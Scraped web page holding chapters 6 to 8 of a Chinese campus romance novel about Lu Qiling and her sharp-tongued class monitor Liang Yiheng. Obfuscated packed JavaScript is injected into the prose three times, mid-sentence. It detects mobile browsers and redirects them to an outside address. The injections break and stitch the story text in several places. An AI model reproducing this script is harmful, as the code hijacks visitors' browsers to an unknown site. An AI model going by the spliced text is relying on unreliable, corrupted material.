路期灵有些不可思议,一愣:“是啊。” 谁会莫名其妙心情不好啊。 得到她的回答,梁屹恒挂断电话,一脸原来是这样的表情,闲闲看着她:“那正好明年校庆晚会的节目不用排练了,你上场就能表演。” 这话听得路期灵没头没尾:“什么?” “没听明白?”梁屹恒似乎是笑了下,而后十分仁慈地解答道,“你这一手变脸的技术,不是挺有能耐。” “……” 6. 登陆06 路期灵唇边的弧度滞住,在他的明示下,瞬间记起行政楼里发生的不愉快。虽然被她胡扯戳中心思,可公平起见,他也用九十分的羞辱报复了回来。 难道是这样的处理方式他并不满意? 除此之外,就只剩下在楼前分道扬镳的时候。 尽管当时她已经自我调节成功,但神色貌似很不友善。只是这几个小时都过去了,他不会回味到现在吧…… 还是说她刚才的语气没能控制住,过于谄媚了。 一时间路期灵的眼神变得有些古怪。 回忆了下自己的话,发现哪怕排列组合,那五个字也没办法变成什么大逆不道的语言,更别提跟变脸扯上关系。 “……” 在这几秒的间隙里,路期灵苦思冥想,耗尽了仅剩不多的脑细胞,依旧无法跟上梁屹恒的思路。 想不明白。 可能是境界的高低不同。 路期灵盯着他,耿直地问:“你也想学?” 梁屹恒:“?” “那我可以教你。”见他不说话,路期灵表现出一副慷慨的样子,“不过得等我学会以后。” 梁屹恒似笑非笑的神色渐收。 似是觉得这话不太对劲,想了想,为保稳妥她又补充:“毕竟你也能看得出来,我现在学艺不精。” “……” 梁屹恒显然没料到她自说自话的本事这么厉害,视线从她的眼睛往下移,定格在那张半弯起的嘴唇。 不等他开口,那张嘴又说了句:“所以出于礼尚往来,我能要点报酬吗?” 梁屹恒总算找到机会,轻嘲:“你还真会蹬鼻子上脸。” 听到这话,路期灵啊了一声,尾音微扬。 品出她语气中的失望意味,梁屹恒抬了抬眼皮。看到路期灵卷翘的睫毛向下耷拉着,明明是很正常的表情,但莫名给人一种可怜巴巴的感觉。 他眉心轻微一跳。 “我这不是没蹬吗。”路期灵没注意到他的眼神,觉得这人果真不好接近,耸耸鼻尖小声嘀咕,“试一下居然也不行。” “……” 恰在此时。 祁年跟朋友说完话,匆匆跑到她身边,正好听到这句话,顺嘴接了一句:“宝你要蹬什么啊?” 闻言,路期灵突然意识到什么。 头皮一麻,立马抿住唇,死死合上了嘴巴。 或许是看穿梁屹恒纸老虎的本质,还有前科在身。路期灵在他跟前毫无防备,以至于此时面对祁年的重复,她才发现自己似乎过于口没遮拦了。 下意识谨慎且隐晦地瞅了瞅梁屹恒。 但所幸他给她留了颜面。 梁屹恒低下头,掌心握着手机,五指微曲,漫不经心地在屏幕上滑动。侧脸线条明朗,脖颈后的棘突清晰可见。 神情疏淡,丝毫没有要火上浇油的意思。 见状,路期灵的紧张感稍稍一松。 正要开口揭过这话题,却忘了现场似乎还有第四个人。心里咯噔一声,她的眼睛向右边移了小半段,就看到云繁满脸憋笑,在旁边听得快乐无比。 好不容易来了分享趣事的人。 云繁没注意到路期灵,对于祁年的追问,他极其没情商地爆笑出声:“哈哈哈哈要蹬梁屹恒的脸。” 祁年:“?” 云繁勾住梁屹恒的脖颈往下压,恨恨道:“你也有今天!总算让我找到能治你这张嘴的人了哈哈哈。” 路期灵:“……” 虽然要实话实说,但这位朋友也太诚实了。 梁屹恒毫无防备地被偷袭,身子顺势向前倾。半撩眼睫,看到路期灵的眼睛猛地睁大,一脸惊悚地盯着云繁。 无辜又茫然。 可能是觉得好笑,他的唇角也勾起一丝痕迹,拍掉左肩上的那只手,随即若无其事地继续刷着手机。 阴雨天席卷的冷风刮过。 场面一度静止。 尴尬的气息起起伏伏,像是给几人围成的小空间做了一层玻璃罩,完全没有被周遭的说话声与走动的人影所影响。 气氛渐渐趋近于僵持。 只有云繁依旧跟个傻子似的,没心没肺地跟路期灵打招呼:“路老板,好久不见啊。” 余光一斜,路期灵看向梁屹恒,宛若他是恶霸一般,谨小慎微道:“我们应该前两天才见过面吧?” “这只是表达我的激动。”云繁嬉皮笑脸道,“本来我以为你跟姓蒋那家伙是同学,没想到有缘的是咱们。” 刚从他口出的狂言中回过神,祁年又落入另一轮诧异的认知里:“你们居然之前就认识吗?” 云繁像是完全没觉得自己在吹牛逼,眉毛一挑:“当然,我们老熟人了。” 祁年:“哇塞!那也太幸运了吧!” “……” 不明白他们这么兴奋是怎么一回事。 但在人生地不熟的环境里,没人不喜欢这样的热情。有云繁在一旁,几句话结束后,氛围很快转危为安。 开学日这天校门可以随意进出,他们四人都要去美食街,正好顺路往出走。 因为之前不在一起玩,云繁与祁年只是认识但很少搭话的普通同学。这会儿有了契机,没几句便聊得热火朝天。 走在最外侧的路期灵可有可无地听着,大脑还沉浸在刚迈出第一步,就结局惨败的交友大计里。 “哎,路期灵。” 路期灵从神游中抽离:“怎么了?” “咱俩加个微信好友呗。”云繁掏出手机,笑嘻嘻地征求意见,“正好我拉你进班群,不然有事不好联系。” “好啊。”路期灵点头,“那你扫我。” “我也要加!可恶,居然被抢先了。”祁年手忙脚乱地扫码,屏幕跳跃至资料页面,好奇地问,“你网名为什么不是名字里的那个灵啊?” 路期灵:“我小名是这个零字。” “零零吗?”祁年笑出声,“这名字好可爱哦,以后我都要喊你这个。” 云繁插话道:“那我也要喊。” “你喊屁。”祁年理直气壮地回怼,“知不知道男女有别,你们臭男人离我们美少女的世界远一点。” 周围学生很多,他们的斗嘴声并不突兀。 路期灵跟在后边,纳闷地看着两人突然幼稚地互掐,不太能理解地摇摇头。收回眼,她通过了两条好友申请。 正要退出微信的时候。 她倏地发现,对比之下,自己身后这位似乎静悄悄了一路,简直安静得过分。 迟疑地回头看了眼,路期灵脑间灵光一现,后退半步走到梁屹恒旁边,脸上挂着笑:“班长。” 梁屹恒瞥她:“怎么?” 路期灵晃了晃手机:“你要成为我的好友吗?” “干什么。”觉得人多,梁屹恒眼皮恹恹垂着,没什么精神地问,“加上好友找我收学费?不是说学艺不精。” 路期灵愣了一瞬:“跟这有什么关系。” 梁屹恒平淡道:“那加你干嘛。” “当然是有很多好处啊。”路期灵伸出手开始胡编乱造,“我有事找你是不是很方便?如果你哪天惹了麻烦,大哥问起来也能提前对好口供吧?” 她咽了咽喉咙,琢磨着他的脸色铺垫:“另外再有学习上的问题,咱们还能随时讨论,对不对?” 梁屹恒看着被她压下的三根手指,直接被气笑了:“所以你的全部好处,都是以自己为前提的?” “好像……是。”路期灵弱弱地提出异议,“但换个角度想,其实对你也没什么坏处,不是吗?” 梁屹恒没质疑,点点头:“行。” 没想到事情比预想中的还要容易。 路期灵眨了眨眼睛,只觉得今天的梁屹恒帅出新高度。她笑眯眯地低下头,刚给手机解锁,耳边忽地落下一句:“你的好友位很宝贵吗?” “倒也不——”路期灵停了下,随后又异常坚定地改口,“当然!” 下一秒。 梁屹恒懒懒地哦了声:“那我不加。” “……” 指尖悬停在屏幕上方,路期灵以为是自己听错,犹疑地思考两秒,很快恍然大悟。她自顾自地点开二维码,没问缘由,直接递到梁屹恒面前。 “没关系,我加。” 梁屹恒:“?” 他面色空白一瞬。 紧接着,路期灵又顶着一脸贴心的乖巧模样,歪头向他确定:“班长,你的好友位应该不宝贵吧?” “……” - “然后他说话了吗?”赵明娇坐在靠窗的位置,听得津津有味,“不过你也很勇哎,人家都拒绝你了。” “我比较轴嘛。”路期灵无所畏惧道,“当时满脑子又只有一个念头。” 赵明娇咬着吸管:“什么念头?” “强扭的瓜甜不甜我不知道。”路期灵说,“但是这个好友我必须加。虽然群里也可以找到他的微信,但肯定没有当面来得直接呀。” 赵明娇一通笑完,又问:“最后加了?” 路期灵得意:“那是,飞快通过。” 的确很快。 那天中午在路期灵诚恳反问完以后,梁屹恒足足盯了她半分钟,乌黑的眼底闪过无数种情绪,一言不发的样子像是在无声怀疑。 怎么会有这么得寸进尺的女生。 反复打量她的眼神,让路期灵陡然生出一种,他想要揪住这张脸看看究竟有多厚的感觉。直到加完好友,临走前,梁屹恒忽然伸出一只手。 以为他要扯自己的脸,路期灵下意识缩了缩脖子。 谁知他顿了下。 而后,面无表情地竖了竖大拇指。 今天是周日,尽管已经过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786664|190492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了三天,但想到当时的场景,路期灵还是忍不住也想狠狠将自己狂吹一波。 路期灵,天才! 桌上的彩虹冰激凌蛋糕开始融化,软塌塌的质地流进盘子里。路期灵不习惯浪费,于是用勺子挖了一大口。 塞进嘴里,她含糊地问:“你奶奶怎么样啦?” 赵明娇稍怔:“什么?” “上次见面不是去医院看你奶奶了吗。”路期灵抬起头,“看你今天也没跟我提起,她有没有好一些?” 不清楚为什么,赵明娇的面色有些不自然,抬手挽了下耳边头发:“没事啦,都是些小毛病。” 说完这话,奶茶店的玻璃门被人推开,银色把手上挂着的风铃响了一声。 赵明娇循声看过去。 像是对她这反应感到疑惑,路期灵咬着塑料小勺子,懵懵地直视她,看了会儿挪开眼:“噢。那就好。” “对了,你们学校摸底测的成绩出来了没?”赵明娇岔开话题,“我们明天也要小测,又是全科都考。” 路期灵:“我们把试卷都讲完了。” “这么快啊。”赵明娇感慨,“你考多少?” 路期灵支支吾吾了阵子:“勉强还行。” 开学那天的摸底测验只考理综,合卷三百分。 路期灵考了个很好记的分数,有零有整的二百五。倒也算不上偏科,但比起经常满分的数学,她在物理这一门科目上,永远只能维持在七十分的水平。 排名出来后,她假装不经意地看了梁屹恒的成绩。 但路期灵当场就后悔了,因为还不如不看。 293分。 她觉得自己将永远记住这个数字。 …… 不知不觉间,天色渐暗,奶茶店亮起了暖色调的灯光。路边绿化带挂着的装饰条一盏一盏被点燃,马路上车水马龙,整条街道繁华至极。 店里的人也渐渐多了起来,狭小的空间略显拥挤。 注意到时间不早了,路期灵拿过书包:“我得赶公交回去了。” 赵明娇起身:“那走吧。” 最后一趟136路是晚上八点,到站牌没多久,公交车便在岔路口拐弯,从对面开了过来。由于不是这段路的高峰期,车厢里人不多。 投了零钱,路期灵找到靠后的位置坐下。 在图书馆待了一整天,哪怕她精力再充沛,这会儿也随着冷清下来的环境,而感到有些困倦。 她打了个呵欠,揉掉眼泪,百无聊赖地看向窗外。 这个周末梁家没人在,大嫂方妤原本定在昨天回来,谁料临时多加了一条工作安排。得知她取消了航班,苦等不到的梁驭呈二话不说找了过去。 至于梁屹恒,更是杳无踪迹。 路期灵悄悄留意过,这两天晚上他都回来的很迟。 回房间的时候,动作轻的像只猫,要不是她还在写试卷,压根听不到一丁点动静。 就凭这副不见人影的样子。 也不知道什么时候才能展开她的抱大腿计划。 想到这,路期灵忧虑地叹了口气。 大约过了十多分钟。 她抬头一看,已经到了别墅区附近的站点。 心不在焉地下了车,恰好这时,手机在书包里震了震。她拉开外侧拉链,拿出来看了眼,是祁年让她帮忙给朋友圈点赞的消息。 路期灵回了个表情,退出界面。 视线下移,正要切换到朋友圈那栏的时候。 瞥到了聊天列表里靠下的梁屹恒。 指尖动作一顿,路期灵不由自主地点了进去,看着那行已成功添加为好友的提示,捏着手机轻敲侧边。 回忆起之前梁屹恒说过的内容。 想了想,她迟疑地输入进去两句话。 【班长。】 【我好像迷路了。】 发完消息,路期灵紧紧盯着屏幕。 五秒。 十五秒。 半分钟过去了。 对话框里依然没有动静,路期灵担惊受怕的心情渐松,沿着跑道慢悠悠地往梁家走,顺便给祁年点了赞。 下一瞬,手机倏然震动了下。 上方弹出梁屹恒发来的新消息。 路期灵立刻点进去,就看到梁屹恒发来一条应用软件的分享链接,愣了愣,她正要戳开看看里面是什么。 他再度发过来了一句话。 梁屹恒:【我长得很像地图导航?】 怎么还开始骂起自己了。 路期灵一头雾水地点开链接,经过几次跳转,这部路芸用过后,转给她的旧手机一顿一顿地险些卡爆。 最终颤颤巍巍地自动打开了另一个软件。 白底加大号红色坐标图案,最下方还有一行小字。 ——科技让出行更简单! “……” 7. 恒星07 看到这句提示,路期灵噎了下,竟然一时间不知道要摆出什么表情。 时至今日,她觉得自己能够确定,梁屹恒这么会表达,一定是拥有过一本山寨版本的《说话的艺术》。夜以继日地积累,才达到现在这样的效果。 不过看他的态度,应该对此还挺满意。 默了几秒。 路期灵关掉地图软件,佯装什么都没看到,慢慢敲字:【你难道不觉得,导航线很像熨过的大肠吗?】 梁屹恒:【?】 路期灵:【但自信一点,你还是帅的。】 梁屹恒:【……】 梁屹恒:【闭嘴。】 言简意赅地表述明白了内心的无语。 看来他的这本盗版书籍多少还是有点用处的。 不过脑补出梁屹恒顶着那张脸,在被窝里挑灯夜读的画面,路期灵挠挠头,将手机塞进书包侧边的网兜里,住脑不再细想。 朝前走了没两步。 前面忽然有夜跑的男生迎面而来,她双手抓住肩带,垂着头,看着脚边的白色线条,没怎么在意地让开半步。 一阵人影跑过时刮起的轻风从面前掠过,带着草木类的沐浴露气味。 路期灵觉得有些熟悉,鼻尖皱了皱。 还没来得及抬头,就听见那阵跑步声戛然而止,鞋底与跑道摩擦发出的细微咯吱声,在耳边越来越近。 下一秒。 余光里突然闯入一双球鞋,薄荷绿的颜色,因为是倒退着停下,还能看到鞋后跟侧面印有小小的logo。路期灵莫名觉得这双鞋似曾相识,抬头看去。 就见梁屹恒站在她旁边,半步之遥。 “……” 路期灵差点一口气没提起来。 尽管在发消息之后,她就做好了会被拆穿的准备,但完全没有将当场抓包计入其中。这种概率低到极致,她从不承认自己的运气会这么差。 然而此时的处境,似乎让她无从抵赖。 梁屹恒率先出声:“你迷路?” 觑着他冷冰冰的脸色,路期灵默默挪开一步,垂死挣扎道:“如果我说是,你信吗?” 梁屹恒懒得搭理她这些话,直接开启嘲讽模式:“这附近就有幼儿园,你现在办手续,说不准能跟上小二班进度。” “……” 他垂着眼,盯着屏幕里刚输入进去,还没发送的【在哪】,停顿两秒,指尖用力摁着删除键。 全部删完,被戏耍后的不痛快仍未消散。 梁屹恒淡抿着嘴唇静了会儿,克制着情绪,不冷不热地哼了一声:“在檀林大道找不到路,真有你的。” 没敢跟他对着来,路期灵嘀咕:“说不准我刚从迷路的地方到这里呢。” “两分三十秒,你发完消息到我站在这里。”梁屹恒抬起胳膊,毫不留情地指向大门口,“你现在重新跑一次给我看看。” “……” 看出他心情不太好,路期灵闭上了嘴。 最初她压根没想那么多,以为梁屹恒不在家,按照这人之前爱答不理的模样,原本想着顶多只是在微信刺两句,正好也给聊天开个头。 可谁知他的反应会这么大。 路期灵觉得冤枉,但还是自知理亏,表情认真地道歉:“对不起。” 梁屹恒瞥她:“对不起什么?” “我不应该随便跟你开这种玩笑,让你担心实在是我的不对。”路期灵费劲思考着,“还有——” “打住吧。” 被他忽地打断,路期灵呆呆地抬起头。 梁屹恒不想看她那副小受气包似的样子,移开眼:“开玩笑是你的自由,但我没担心你,别贴金了。” 路期灵点头:“噢。” “另外,既然知道怕添麻烦,晚上能别在外头瞎晃悠吗?”梁屹恒像是对她搞出的这件事很不爽,故意折腾道,“以后门禁八点。” “……” 说完,梁屹恒提步朝前走。 看他离开的方向,路期灵忍不住提醒:“你这个门禁是只约束我吗?不然这都快九点了,你干嘛去。” “跑步。”梁屹恒偏头,“怎么?” 路期灵本来没想在这时候多说话,可听到他这理所当然的语气,视线不由自主地再度落到他的身上。 她欲言又止:“你穿这身去跑步啊?” 白露前后的夜晚开始渐渐转凉,跑道内光线充足,梁屹恒站在灯柱下,从头到脚被照得格外明亮。 头发半湿,穿了身套头的黑色睡衣和长裤,纯棉质地柔软,将他那副不可一世的眉眼衬得柔和了几分。 除了脚上那双格外不搭的球鞋。 路期灵实在看不出,这是跑步的装备。 舔了舔唇角,她斟酌用词:“不然……” 梁屹恒忽地打断她:“我这样穿有什么问题?” 路期灵老实道:“没有。” “没有就赶紧回家。”梁屹恒不知想到了什么,抬抬下巴问,“前面路口往左边走,能找到?” 路期灵没理会他的奚落,坦然自若地点头。随即,指了下他的衣服,语气不明地夸:“那你还挺时尚。” “……” - 新的一周转眼结束。 这期间除了跟班里的同学慢慢熟悉,路期灵没遇到别的事情,倒是梁驭呈中途给她打了通电话。 不知道是不是梁屹恒告了状,通话结束后,刚加上微信好友没多久的方妤也发来消息,叮嘱她去图书馆不要回来太迟,夜里不安全。 但其实在转学之前,路期灵大多时候都是晚上八点离开学校,独自一个人坐四十分钟的公交车回家。 时间一长,也养成了习惯。 不过路期灵不是好坏不分的人。 并没觉得这是小题大做,乖乖应了下来。 隔周周四是中秋节。 周三下午课间,路期灵从老师办公室回来,距离数学课还有好几分钟。她拿着错题本爬上楼,穿过走廊,恰好撞上在阳台边闲聊的云繁。 他面前站着梁屹恒和几个班里的男生,背对楼梯。 路期灵看不到脸,只能听到他们的声音。 “真是服了,能想出节假日后补课的简直是神人。”云繁叹息,“本来赶上周六可以连放四天,现在周天一补课,好了,反而欠我一个休息日。” 梁屹恒懒懒道:“你去当校长。” “我要是校长,你现在不配与我说话。”幻想到画面,云繁傻乐出声,旋即又摇头,“一寸光阴一寸金,这可是我幼儿启蒙记住的第一句古诗。” “这些人真是不知时间的宝贵。” 路期灵下意识放慢步子。 耳梢微动,装作不经意地朝前走。 一旁的生物课代表听到这话哧哧笑,打趣:“第一句不该是鹅鹅鹅吗?” 云繁翻白眼:“只会鹅鹅鹅的是你好吧。” “那你还挺高级。”梁屹恒突地哼笑出声,“不过王贞白要知道这诗让你这么用,能半夜气活挂你床头。” 云繁:“王贞白是谁?” 梁屹恒:“你的启蒙老师。” “……” 果然。 这张优雅的嘴巴从不令人失望。 倘若不是要装不熟,路期灵真想看过去一眼,以示存在。她表情淡定地回到座位上,才没忍住笑了一声。 刚坐下,就听见祁年轻吸了口气。 路期灵倾身问:“怎么了?” “你看到新闻了没。”祁年将手机挡在桌洞里,朝她偏了偏,“水鸣桥那边有两个学生遇害了。” 路期灵懵了:“什么时候啊?” “就咱们开学那周六中午。”祁年说,“真的一点风声也没听见,我的天,那两人才刚升初三。这王八蛋太过分了,直接枪毙吧!什么烂人啊!” 路期灵愣愣地听着。 回忆起水鸣桥这个地方,突然察觉,仿佛开学报到的那天早上,梁驭呈在餐桌上提过一嘴路段检修的话。 正好这时,徐春影拿着教案与小蜜蜂进了教室。 她站在黑板前,神情严肃地催促学生赶紧回位置:“应该都听说水鸣桥的事情了吧?我每天都提醒你们放学赶紧回家,就怕发生这种意外。” “你们觉得九十点不晚,现在看看呢?那两个学生遇到的是什么人,喝醉酒的赌徒,要钱不要命,一个成年男人真要动手,你们谁躲得过,举手我看看。” 座位间一片静谧。 徐春影皱着眉,打量一圈:“但偏偏还是有些人,耳提面命也不听。”目光微转,她看向最后一排:“孙家豪、郑锐,你俩也算夜间网吧常客了,是吧?” “……” 闻言,路期灵随着其他人回头看过去。 其中一个男生肤色稍深,被点名后耳朵有些红:“但我只是在楼下网吧,十来米就到家了啊。” 徐春影:“既然这样你不能回家玩?” “家里没有那种感觉。” “那我说话的时候你就安静听着,别多嘴。”徐春影拍拍讲桌,“都给我长点心吧。行了,现在开始上课,把课本翻到第四十五页……” 这个话题很快结束。 路期灵收回眼,准备转身坐正的时候,不经意间瞥到梁屹恒。他正支着脸,不慌不忙地翻着书。 倏然,脑海中浮现出上周某个场景。 几件事串接在一起,路期灵也不得不回过味来。 难怪当时他头发半干半湿。大概刚洗完澡,收到她的消息,又联想到小道消息,所以才穿着睡衣出了门。 定格须臾,路期灵微微抿唇。 虽然从图书馆回梁家的那趟公交并不经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……”路期灵算了算自己的学号,“我好像是咱们班最后一个。” “那要是我做完了,给你按腿。” 两人脑袋凑在一起嘀咕着。 听到这话,路期灵眼睛亮起,脸上顿时露出“不愧是我的好姐妹”的骄傲。 随后,女生自成一排,各自找到位置。 另外一边。 杜老师看完名单,瞧见站在旁边的路期灵,疑惑道:“怎么多一个,你们班新转来了同学?” 体委低头玩着计时器:“对啊。” “那得找人帮个忙。”杜老师扫视操场,发现其余两个班都在做项目,索性直接喊了班长,“梁屹恒。” 他的声音很高,引得其他学生侧目。 路期灵也循声看了过去。 与此同时,杜老师捕捉到她的眼神,提醒:“路期灵,你找个位置做准备,让你们班长给你报数。” 什么?! 梁屹恒给她报数,岂不是自寻死路! 路期灵苦恼道:“这不好吧。” “有什么不好的?”杜老师一脸不理解,“我又没让你给他负重做俯卧撑,压个腿而已。你俩赶紧点。” “……” 梁屹恒走近,冷不丁听到这句话。 眼风随意地往左边轻瞥,撞上路期灵迟疑不决的表情,仿若很怕他会害她,这让梁屹恒原本到嘴边的拒绝莫名顿住。 偏头打量几眼,他神色淡淡:“做不做?” 路期灵走到最边上的位置,弯腰坐下去。 想起上周天晚,对方眼中那两条疑似捉弄的消息,又实在害怕梁屹恒借机报复自己,她磨磨蹭蹭地问:“你会好好数的吧?” 梁屹恒扬眉:“什么意思。” “就是别搞我。”路期灵极为直白地担忧道,“一二三四这样数,班长,你肯定不会数错的对不对?” 梁屹恒听到这话立马笑了。 两人一坐一站,他仍旧保持着站立姿态,居高临下地垂眸。睫毛轻飘飘地向下压,在眼底落下一层灰影。 路期灵盯着他晦明不清的笑容,心头一颤。 “当然。”梁屹恒唇角勾起弧度,悠闲开口,“毕竟作为班长的准则之一,就是公平公正。” “……” 不是路期灵污蔑。 这话从梁屹恒嘴里说出来特别令人发笑。 可现在这状况,路期灵就像砧板上的鱼肉任人宰割。 只能既来之则安之。 被梁屹恒刚才那个笑弄得心惊胆战。 路期灵压下提前产生的慌张,对他虚伪地扯了扯嘴角:“班长,你可真是幽默国国王,诙谐风趣。” 说完,她顺势躺了下去。 紧接着脚腕便感觉到一股按压的力道,路期灵探头瞅了瞅,看到梁屹恒那双骨节分明的手松松握在她脚踝。 隔着校裤,隐隐有温度侵入。 路期灵重新躺好,正想调整姿势。 梁屹恒已经再度出了声,语调轻描淡写,反问道:“那你又是哪位,幽默国的子民?” 8. 登陆08 这话落下的一瞬间。 路期灵耳边仿佛响起电视剧里,“吾皇万万岁”的齐声高喊,她抬头朝梁屹恒看去,对上他懒散的视线。 倏然发觉,这画面加上声音竟该死的和谐。 路期灵拼命忍着笑:“这意思是,想让我先来拜见你吗?” “……” 怕他在计数过程中使绊子,路期灵好声好气地商量:“也不是不行,但等我仰卧起结束,可以不?” 沉默无言。 梁屹恒一语不发地看着她。 只觉得在他前十六年里,有意思的事情加起来,好似都没有这段时间的让人记忆深刻。路期灵的脑回路也实在独特,他没见过这么善于理解的人。 口哨声传来,梁屹恒仍旧没吭声。 旁边几个女生已经做好了准备,路期灵决定恳求地直白一点:“班长,你可一定要帮我数合格啊!” 梁屹恒回过神,冷淡道:“我算数不差。” 谁问这个了。 虽然知道这人不会帮她,但路期灵还是没忍住想再挣扎几句,只是不等她说话,哨声响了起来。 路期灵认命地闭上眼,双手抱住后脑勺,在心里不停地鼓气打劲。 深吸一口气,腰腹借着梁屹恒压在她脚踝的力道,咬牙往起坐。 起初还好,自从跨过十个大关后。 呼吸变得急促,太阳穴也抽着疼。路期灵抿紧唇绷住气息,铆足劲的时候,白净的脸蛋瞬间憋得通红。 没过一会儿,眼尾也红了。 路期灵从小喜欢将事情努力到极致,这次同样不例外。她牙关紧锁,皱着脸气喘吁吁地坚持着。 时间一分一秒地流逝。 直到距离及格线还差四个,她有点想放弃了。 杜老师从面前经过:“还有十五秒。” “……” 呜呜呜难道她要得到人生中的首个不合格了吗! 路期灵小口喘着气,胸口闷闷地。 她吸了吸鼻子,望向梁屹恒,斜上方的角度,能看到对方垂着睫毛,面色无波无澜,看上去明显不想搭理她。 想起他声线寡淡地说着数,路期灵内心绝望。 好一个冷漠无情的报数机器! 听到动静,梁屹恒撩起眼,瞧见她隐隐崩溃的表情。他停顿半秒,很轻地挑了下眉梢:“差五个。” 路期灵立马回:“胡说八道!明明是四个。” 原本以为他应该不会理会自己,但让人意外的是,梁屹恒哼笑一声:“你如果还不继续,结果二十和十九个有什么区别?反正都是不及格。” “……” 很好,被刺激到了。 讨厌的人总能一针见血。 路期灵瞪着他,鼓足力气往起撑。 只剩最后一个的时候,杜老师在那头吹响了哨子,她心里着急,胳膊肘抵住草坪,使劲朝前弹了过去。 顷刻间,她猝不及防地撞向了梁屹恒。 夏季末尾的太阳很烈,照在操场上,塑胶跑道在温度下烤出浅浅的异味。 其他班正在进行八百米的同学从身后穿过,发出清晰的奔跑声。 梁屹恒低着头,额发落在眉眼间。 脸上挂着轻松的笑,正要报数,到嘴边的“二十五”还没来得及说出口,眼前一晃,带着刘海柔软的触感在他鼻尖擦过,话语倏地刹住。 有风从两人之间穿梭拂过,他闻到栀子花的味道。 察觉到什么,梁屹恒顿住,条件反射地往后一避。 同时,紧握的双手也随之松开。 “多少多少?是不是二十五!”路期灵丝毫没发现刚才的意外,还在追问,“如果按你说的少一个,二十四也达标了对不对?” “……” 身后有人经过,砰砰砰的脚步声异常沉闷。 梁屹恒攥了把有些发热的掌心,莫名觉得,不知道还有哪一处好似也发出了这样的响动,撞得他情绪异常的烦躁不爽。 迅速站起身,他随便给了个数:“二十三。” 路期灵大惊失色:“这怎么可能!” “不然你以为自己做了多少,再给你加一百够不够?”瞥她一眼,梁屹恒提步往杜老师那边走去,不客气地点评道,“金刚芭比。” “不是。”没计较这称呼,路期灵追在他身旁,“你真的少数一个啊!” “那你现在重新做。”前面有人登记,梁屹恒将手插进校服口袋里等待,不耐烦地说,“我给你加上。” 路期灵差点被他气死:“你看我像傻子吗?” 梁屹恒嗤笑:“我看你像理综成绩。” “……”路期灵翻了个白眼,“能不能别揪着它不放,只是我的一次失误。” 但梁屹恒显然不吃这套,吊儿郎当地应:“噢。那就等你超常发挥以后,再来跟我谈判。” 没想到他这么难缠。 路期灵瞪着他纤瘦流畅的侧脸轮廓,磨了两下牙齿,一时哑口无言,想不出还能有什么话来劝说对方。 收回眼,她站在原地握了握拳。 见她这么安静,梁屹恒突然有些不太习惯。 偏头觑了眼,看到她捏紧的小拳头,他鬼使神差地岔开话:“怎么,想用你那双无情铁手揍我吗?” 闻言,路期灵慢吞吞地抬起头。 跟他四目相对。 片刻后。 路期灵伸出两根手指,按压在嘴唇两侧,冷不丁地提起。脸部肌肉跟着向上,刻意又做作道:“不呢,我还可以给你表演辣手摧花。” 梁屹恒悠悠地点了下头,率先别过脸。脑海中浮现出她脸上那抹自以为亲切万分,实则演技拙劣的笑。 垂下眼,他不动声色地扬起嘴角。 - 四十五分钟结束了所有室外项目。 路期灵累得双腿打颤,跟祁年互相搀扶着离开操场时,只觉得像两个瘫痪的孤寡老人做复健。 两人跟在大部队的最末尾。 祁年吐槽:“这一周内都不愿再见到老杜。” 路期灵也很疲惫,神情平静,但实际上,已经失去了所有乐观开朗的力气:“没事,下次见面正好是下周三,足够你恢复。” 祁年:“你简直是魔鬼!” 从操场回教室,要横跨小半个教学区。两个女生精力有限,三言两语说完,都没了聊天的欲望。 路期灵眼神木然,垮着脸经过小广场,恰好遇到云繁和梁屹恒。 “你俩要不要这么夸张啊?”云繁笑得猖狂,“体测而已,搞得好像在大润发杀了十年的鱼。” 路期灵诚恳拆台:“请问这两者有什么关联?” “你的脸色像杀鱼的刀一样冷。”云繁点出,随后话锋一转,“对了,明天放假,你俩有什么安排不?” 路期灵摇头:“看书写题。” 祁年也问:“你想约我们出去玩?” “是呗。”云繁撞了撞梁屹恒的胳膊,提议道,“期灵妹妹来江北这么久,肯定没出去玩过吧?后天柏力多开业,一起去玩过山车啊。” 祁年撇了撇嘴:“去游乐园干嘛,没劲。” 被她拒绝,云繁转而期待地注视着另一人。 见状,路期灵瞄了眼梁屹恒。 男生对于他们此时的对话没有任何反应,神色平淡,安静地走在一旁。黑发沾了点汗,略微凌乱,过度运动后,脸颊冷白的皮肤稍稍泛起红意。 垂落的五指松散弯曲,犹如他走路时漫不经意的身形。脊背舒展,但并不过分挺直,显得悠然自如。 校园里的风吹起他的校服衣角,周身弥漫着青春恣意的气息。 见他这副模样,路期灵又想到最后在排队登记的时候,梁屹恒任由她抢先一步报了数字。本以为这人会胡作非为,谁知他心不在焉地,压根没出声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786666|190492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她琢磨了下,总觉得对方是故意捉弄。 但梁屹恒能有这种闲情逸致? 应该不能吧。 路期灵无法理解,不过也赞同祁年说的,有那些时间,她不如多看几道错题。耸了耸肩,无声婉拒了邀请。 她这会儿大腿酸得厉害,只想快点回到教室坐下,觉得多耽搁一秒,都是对自己身体的不尊重。 于是扯过祁年,跟云繁说了再见。 看着路期灵匆匆离去的背影,云繁尤为不解:“哥们还是第一次被拒绝,难道我这点薄面都没有?” “薄面?你?”梁屹恒扫视他,调侃一笑,“脸皮都快赶上城墙了吧。” “……” 